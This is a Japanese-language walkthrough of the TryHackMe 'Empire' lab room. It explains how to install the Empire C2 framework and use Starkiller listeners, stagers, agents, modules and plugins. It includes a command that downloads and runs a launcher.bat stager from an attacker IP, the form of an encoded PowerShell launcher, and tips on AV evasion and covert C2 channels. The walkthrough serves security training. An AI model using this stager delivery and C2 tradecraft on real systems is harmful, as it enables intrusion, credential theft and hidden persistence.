Table of Contents
Empire
強力なポストエクスプロイトC2フレームワークである「Empire」とそのGUI「Starkiller」の使い方を学びましょう。
Empire
https://tryhackme.com/room/rppsempire
Task1 Introduction
1. Empireの概要
- C2(Command and Control)サーバー: 標的デバイスにエージェントを配置し、リモートからモジュールを実行するためのツール。
- 特徴: BC-Securityによって作成された、無料かつオープンソースのフレームワーク。有名な商用C2ツール「Cobalt Strike」の代替として利用可能。
- 本ルームで学ぶこと: リスナーやステージャー(Stager)のセットアップ、利用可能な種類、およびデバイス上でのエージェントの操作方法。
2. 演習環境と前提知識
- 使用するラボマシン: 「Blue」(DarkStar7417氏作成)。オフライン用にダウンロードするか、Task 6でTryHackMe上に展開して使用。
- 推奨される前提ルーム: * 「What the Shell」 (MuirlandOracle氏作成)
- 「Blue」 (DarkStar7417氏作成)
- 必要なスキル: 基本的なリバースシェル(Reverse Shell)およびエクスプロイト(脆弱性悪用)技術の一般的な理解。
Task2 Deploy
C2のエージェントとなるEternal Blueの脆弱性があるホストをデプロイします。
Task3 Installation
Empireをインストールします。このルームの記載は古いです。以下の手順でpoetryを利用したパッケージ管理と仮想環境での実行をしてください。
Empireのインストール
- 適切なディレクトリでGitHubからクローンして、インストーラを実行します。
git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh
- インストールが終了したらサーバーを起動します。
poetry run python empire.py server
サーバの依存関係のエラーが起こる場合
# 1. Cライブラリと開発用ヘッダーをシステムにインストール
sudo apt update
sudo apt install -y libjq-dev
# 2. Poetry環境に不足している依存パッケージを強制的にインストール
poetry install
#3 再度、サーバを起動
poetry run python empire.py server
poetryの仮想環境がうまく動作しないとき
# 1. 現在のPoetry仮想環境を完全に削除
poetry env remove --all
# 2. 最初から依存関係をクリーンインストール(libjq-devがある状態なので今回は成功します)
poetry install
# 3. 再度サーバーを起動
poetry run python empire.py server
Poetryとは
Poetryは、Pythonプロジェクトにおける「パッケージのインストール」「依存関係の解決」「仮想環境の構築」「パッケージの公開(ビルド・配布)」をこれ一つで一元管理できるオールインワンのツールです。
従来のPython開発では、以下のように複数のツールを組み合わせて使う必要がありました。
- パッケージ管理:pip + requirements.txt
- 仮想環境の隔離:venv や virtualenv
- パッケージのビルド・公開:setuptools + setup.py
Poetryはこれらをすべて統合し、プロジェクトの構成情報を pyproject.toml という1つのファイルに集約します。
Task4 Menu Overview
本タスクでは、EmpireのGUIフロントエンドであるStarkillerの主要な6つのタブ(機能)について解説しています。
1. Listeners(リスナー)
- 役割: 特定のポートで接続を待ち受ける機能。
- イメージ: NetcatやMetasploitの multi/handler のようなもので、ステージャーからの接続を受け取るために最初に使用します。
2. Stagers(ステージャー)
- 役割: 標的デバイスにエージェントを送り込み、C2サーバーへ接続させるための機能。
- イメージ: 一般的なペネトレーションテストにおける「ペイロード(Payload)」に相当します。
3. Agents(エージェント)
- 役割: 最も頻繁に操作するメニューで、接続されたエージェントの一覧確認や個別操作を行います。
- イメージ: 標的から返ってきた「シェル(Shell)」のようなもので、ここからコマンドの実行やモジュールの展開を行います。
4. Modules(モジュール)
- 役割: エージェントを通じて実行できる、さまざまなツールやエクスプロイト(攻撃コード)の一覧・検索メニュー。
- 具体例: 情報収集(列挙)スクリプト、権限昇格(Privilege Escalation)の手法、脆弱性悪用ツールなど。
5. Credentials(認証情報)
- 役割: デバイスの調査やモジュールの実行によって奪取した認証情報を自動で保存・管理する機能。
- 特徴: パスワードのハッシュ値や平文パスワードが保存されます。自動収集されなかった情報を手動で追加することも可能です。
6. Reporting(レポート)
- 役割: 過去に実行したシェルコマンドやモジュールの全履歴を記録・確認できる機能。
- メリット: 自身の作業内容を振り返ったり、ペネトレーションテストの報告書を作成したりする際に非常に役立ちます。
Task5 Listeners
本タスクでは、C2トラフィックの隠蔽や検知回避に役立つ各種リスナー(通信の待ち受け機能)の種類と、標準的なHTTPリスナーの作成手順について解説しています。
1. 利用可能なリスナーの種類
本ルームでは最も標準的な 「http」 リスナーを使用しますが、Empireには以下のような多様なリスナーが用意されています。
- 標準およびHTTP COM系(トラフィック隠蔽用)
- http: 標準的なHTTPを利用する基本リスナー。
- http_com: IE COMオブジェクトを利用したHTTPリスナー。
- http_mapi: MAPI COMオブジェクトを利用したHTTPリスナー。
- 外部連携・リダイレクト系
- http_foreign: 別のEmpireサーバーへ接続を引き渡す際に使用。
- http_hop: PHPを利用して外部リダイレクター(中継サーバー)を作成。
- redirector: ネットワーク内でのピボット(踏み台通信)を作成。
- 外部サービス・その他
- meterpreter: Metasploitのステージャーからの接続を待ち受ける。
- onedrive / dbx: Microsoft OneDriveやDropboxをC2通信のプラットフォームとして悪用(検知回避)。
- http_malleable: BC-SecurityのMalleable C2プロファイル(特定の脅威やAPTの通信を模倣する機能)と併用。
2. リスナーの作成手順(HTTPリスナーの例)
- メニュー移動: Listeners タブを開き、「CREATE LISTENER」 を選択。
- タイプ選択: リスナーのタイプで 「http」 を選択。
- 設定(Configuration): 必須で変更すべき項目は Host(ホストIP) と Port(ポート番号) の2箇所。
主な設定項目の意味
- 基本設定:
- Name: リスナー管理用の名前。
- Host: エージェントが接続してくるC2側のIPアドレス。
- Port: 待ち受けるポート番号(例: 4444)。
- BindIP: バインドするIP(通常は 0.0.0.0 や localhost)。
- 挙動制御:
- DefaultDelay / DefaultJitter / DefaultLostLimit: 通信の間隔やゆらぎを設定し、ビーコン通信の検知を回避する。
- 検知回避・高度な設定:
- DefaultProfile: 使用するプロファイルやUser-Agentを指定。
- Headers: HTTPヘッダーのカスタマイズ。
- Launcher: ステージャーの接頭辞となるランチャーの指定。
- 起動: 「Submit」を押すことで、指定したポートでリスナーがアクティブになります。
Task6 Stagers
本タスクでは、標的マシンに送り込んでC2サーバーへの接続(エージェント化)を確立するための「ステージャー(ペイロード)」の種類、作成方法、およびターゲットへの転送・実行手順について解説しています。
1. ステージャーの種類と特徴
Empireのステージャー名は「プラットフォーム(multi, windows, osxなど)/ タイプ(launcher, bashなど)」の形式で構成されています。
- 汎用ステージャー(基本)
- multi/launcher: 最も多目的で汎用性が高く、様々なデバイスに使用可能(本ルームのデモで使用)。
- windows/launcher_bat: Windowsのバッチファイル形式。
- multi/bash: 基本的なBashスクリプト形式。
- 特定の攻撃・媒体用ステージャー
- windows/ducky: 物理ハッキングツール「USB Rubber Ducky」用のスクリプト。
- osx/teensy: Duckyと同様、小型マイコン(Teensy)を使用した物理攻撃用。
- windows/hta: アンチウイルス(AV)を回避するため、HTMLアプリケーションプロトコルを利用。
- osx/applescript: Appleのスクリプト言語(AppleScript)で記述されたもの。
2. ステージャーの生成手順
- メニュー移動: Stagers タブを開き、「GENERATE STAGER」 を選択。
- タイプ選択: 目的のステージャーを選択(デモでは windows/launcher_bat を使用)。
- 設定(Configuration): Listener の項目で、前回Task 5で作成したリスナーを指定する。
主な設定項目
- Listener: 作成済みのリスナー一覧から、エージェントが接続するリスナーを選択。
- Base64: ペイロードをBase64でエンコードするかどうかの設定。
- Language: ステージャーを作成する言語(bash, PowerShell, Pythonなど)。
- SafeChecks: ステージャー実行時の安全確認(チェック機能)の有効/無効。
- ※高度なオプション(検知回避用の Obfuscate, AMSIBypass, ETWBypass など)は本ルームの対象外。
- 完了: 生成されたステージャーを、タイプに応じてダウンロードするか、コピー&ペーストして利用します。
3. 転送と実行(実機デモの流れ)
標的マシン(Lab Machine)へステージャーを送り込んで実行する一般的な流れの例です。
- 攻撃側マシン(Attacking Machine)での準備: Pythonの簡易Webサーバーを立ち上げてステージャーを公開します。
Bash
python3 -m http.server - 被害側マシン(Lab Machine)での実行: wget などでステージャー(例: launcher.bat)をダウンロードし、実行します。
Bash
wget http://[攻撃側IP]:8000/launcher.bat -outfile launcher.bat
./launcher.bat
補足:PowerShellランチャーの仕組み
multi/launcher を使用した場合、以下のようなPowerShellコマンド(難読化・エンコードされた状態)が生成されます。 powershell -noP -sta -w 1 -enc [エンコードされたコード] ランチャーはこのエンコードされたコードをデコードして実行します。標準のままだとアンチウイルス(AV)に検知されやすいため、実際のペネトレーションテストでは難読化コマンド等を調整して検知を回避します。
正しく実行されると、Starkillerの Agents タブ に新しいエージェントが登録され、標的マシンの操作が可能になります。
Task7 Agents
本タスクでは、C2サーバーと接続が確立された「エージェント」のステータス識別方法や、Starkiller上での具体的な操作・管理画面の仕様について解説しています。
1. エージェントの概要と特徴
- 通常シェルとの違い: C2サーバーのエージェントは、接続が確立した後はモジュールをリモートから実行できるため、標的マシンのアンチウイルス(AV)やその他の検知機能を誘発しにくいという利点があります。
- 機能の一貫性: どのステージャーやリスナーを使用した場合でも、接続後のエージェントの機能や利用できるモジュールは共通です。
ステータスとアイコンの識別
Starkillerでは、エージェントの状態や権限が色とアイコンで視覚的に区別されます。
- 色(ステータス):
- 黒: 正常に応答している状態。
- 赤: 応答が途絶えた(応答しなくなった)状態。
- アイコン(権限):
- ユーザーアイコンのみ: 一般ユーザー権限のアカウント。
- ユーザーアイコン + 歯車: SYSTEM(特権・管理者)ユーザー権限のアカウント。
2. エージェントの操作方法
エージェントのインタラクションメニュー(操作画面)では、主に以下の機能を使用します。
- シェルコマンドの実行: 標的がWindowsマシンであっても、Empire側でコマンドが吸収されるため、ls や whoami、ifconfig といったLinuxライクなコマンドをそのまま実行できます(Windowsの構文に慣れていなくても操作可能です)。
- タスク(Tasks)の概念: Empireでは、実行したシェルコマンドやモジュールはすべて「タスク」として扱われます。エージェントが標的デバイス上でタスクを実行し、その結果(出力)を持ち帰る仕組みです。
- その他の管理機能: エージェントの名前変更(リネーム)、プロセスの終了(Kill Agent)、および「VIEW」タブからの詳細なコンフィグ調整などが可能です。
出力画面(ログ)の特徴
実行結果が表示されるエリアには、「C2サーバー上のどのユーザー(攻撃者)がそのタスクを実行したか」 が最初に出力されます。Empireは1つのサーバーに対して複数のクライアント(共同作業者)が同時に接続して同じエージェントを操作できるため、誰がどの操作を行ったかを追跡する上でこの仕様は非常に役立ちます。
Task8 Modules
本タスクでは、エージェントを通じて標的マシン上で実行できる「モジュール(各種ツールやエクスプロイトをパッケージ化したもの)」の種類や分類方法、および具体的な実行手順について解説しています。
1. モジュールの概要と分類
モジュールを使用することで、エクスプロイトのコンパイルやツールの実行、アンチウイルス(AV)の回避を容易に行うことができます。また、プラグインを追加して機能を拡張することも可能です。
- 代表的なビルトインツールの例:
- Seatbelt, Mimikatz, WinPEAS など(情報収集や権限昇格に多用されるツール群)。
- 使用言語による分類:
- PowerShell、Python、External、Exfiltration。
- 目的(カテゴリ)による分類:
- コード実行、情報収集(Collection)、認証情報(Credentials)、持ち出し(Exfiltration)、脆弱性悪用(Exploitation)、横展開(Lateral Movement)、管理、永続化(Persistence)、権限昇格(Privesc)、偵察(Recon)、状況把握(Situational Awareness)、ジョーク(Trollsploit)。
- MITRE ATT&CK との連携:
- 各モジュールは MITRE ATT&CK フレームワークに基づいて分類されており、「T1552」といった共通のテクニック番号が割り当てられています。
2. モジュールの使用方法
モジュールの実行手順は非常にシンプルで、直感的に操作できます。
- 選択: エージェントの操作画面(User Interaction Menu)から、使用したいモジュールを検索・選択します。
- 設定(任意/必須): そのまま実行(Out of the box)できるものもありますが、モジュールによっては実行コマンドやリスナーなどの詳細設定が必要です。より細かく制御したい場合は「Optional Fields(任意項目)」のドロップダウンからカスタマイズを行います。
- 実行と出力: 実行すると「タスク」としてエージェントに割り当てられ、実行結果(ログ)がコンソール画面に出力されます。
運用のメリット(検知回避と効率化)
- リモート実行によるAV回避: すべてのモジュールはC2側から「タスク」としてリモート実行されるため、標的マシン上のアンチウイルス(AV)やその他の検知機能を気にする必要がほとんどありません。
- 強力なスクリプトの統合: 権限昇格の調査で有名な WinPEAS などの強力なスクリプトもEmpire内に統合されており、実行するだけでシステム情報や潜在的な脆弱性(特権昇格の足がかり)を効率的に洗い出すことができます。
Task9 Plugins
本タスクでは、Empireの標準機能を拡張するための「プラグイン」の導入方法と、具体的な利用手順(SOCKSサーバープラグインを例とした操作)について解説しています。
1. プラグインの概要
- 役割: Empireに最初から組み込まれているモジュール群とは別に、基本機能をさらに拡張するための仕組み。コミュニティが作成したプラグインを簡単にダウンロードして導入できます。
- 導入方法: プラグインを構成する plugin.py ファイルを、Empireの /plugins ディレクトリに転送・配置するだけで利用可能になります。
- 例: 本タスクでは、BC-Securityが作成した「SOCKSサーバープラグイン」を例として挙げています。
2. プラグインの使用方法
- 自動ロードと手動ロード:
- Empireバージョン3.4.0以降、/plugins ディレクトリに配置されたプラグインはサーバー起動時に自動でロードされます。
- もし自動で起動しない場合は、以下のコマンドで手動ロードが可能です。
- 構文:plugin <プラグイン名>
- プラグインの制御(起動と停止):
- プラグインの有効化・無効化は、基本的に start と stop コマンドで行います(設定パラメータやフラグはプラグインごとに異なります)。
- 起動構文:start <プラグイン名>
- 停止構文:stop <プラグイン名>
- プラグインの有効化・無効化は、基本的に start と stop コマンドで行います(設定パラメータやフラグはプラグインごとに異なります)。
例:SOCKSサーバープラグインの挙動
SOCKSサーバープラグインを start コマンドで起動すると、標的ホストに直接プロキシを設置するのと同様の「プロキシサーバー」を、Empire内部に直接包含する形で立ち上げることができます。これにより、C2サーバーを中継した柔軟なネットワーク転送(ピボッティングなど)が可能になります。
Task10 Conclusion
本タスクは、Empireルームの締めくくりとして、今後の学習リソースや実践方法について紹介しています。
1. さらに深く学ぶためのリソース
- BC-Securityの公式情報: より高度なテクニックを学ぶには、開発元であるBC-Securityのブログが最適です。また、彼らは定期的にウェブキャスト(配信)やオンラインコースを開催しており、より深い知識を得ることができます。
2. 今後の実践と応用
- 日常的なリプレイス: 今後、他のTryHackMeルーム(演習)を攻略する際、通常のNetcatやリバースシェルの代わりにこのEmpire C2を積極的に導入・活用していくことが推奨されます。
- 次におすすめのルーム: Empireを使ったエクスプロイト技術(脆弱性悪用技術)をさらに磨きたい場合は、次のステップとして「DLL Hijacking」ルームへの挑戦が推奨されています。
TryHackMeでサイバーセキュリティ体験!
- Phishing Analysis Fundamentalsウォークスルー
- TryHackMe Blueウォークスルー
- TryHackMe C2 Detection – Command & Carol ウォークスルー
- TryHackMe Conti ウォークスルー
- TryHackMe Empire ウォークスルー
- TryHackMe Hydraウォークスルー
- TryHackMe Introduction to EDRウォークスルー
- TryHackMe Linux Backdoorsウォークスルー
- TryHackMe Metasploit: Introduction ウォークスルー
- TryHackMe Metasploit: The Basics ウォークスルー
- TryHackMe Phishing Basicsウォークスルー
- TryHackMe Registry Persistence Detectionウォークスルー
- TryHackMe Threat Hunting: Endgame
- TryHackMe Vulnerabilities 101 ウォークスルー
- TryHackMeとは
- TryHackMeを始めよう
- TryHackMe ローカル攻撃環境構築 ~Kali Linux VMのインストール~
- TryHackMe Passive Reconnaissance ウォークスルー
- TryHackMe Active Reconnaissance ウォークスルー
- TryHackMe NMAP the Baics ウォークスルー
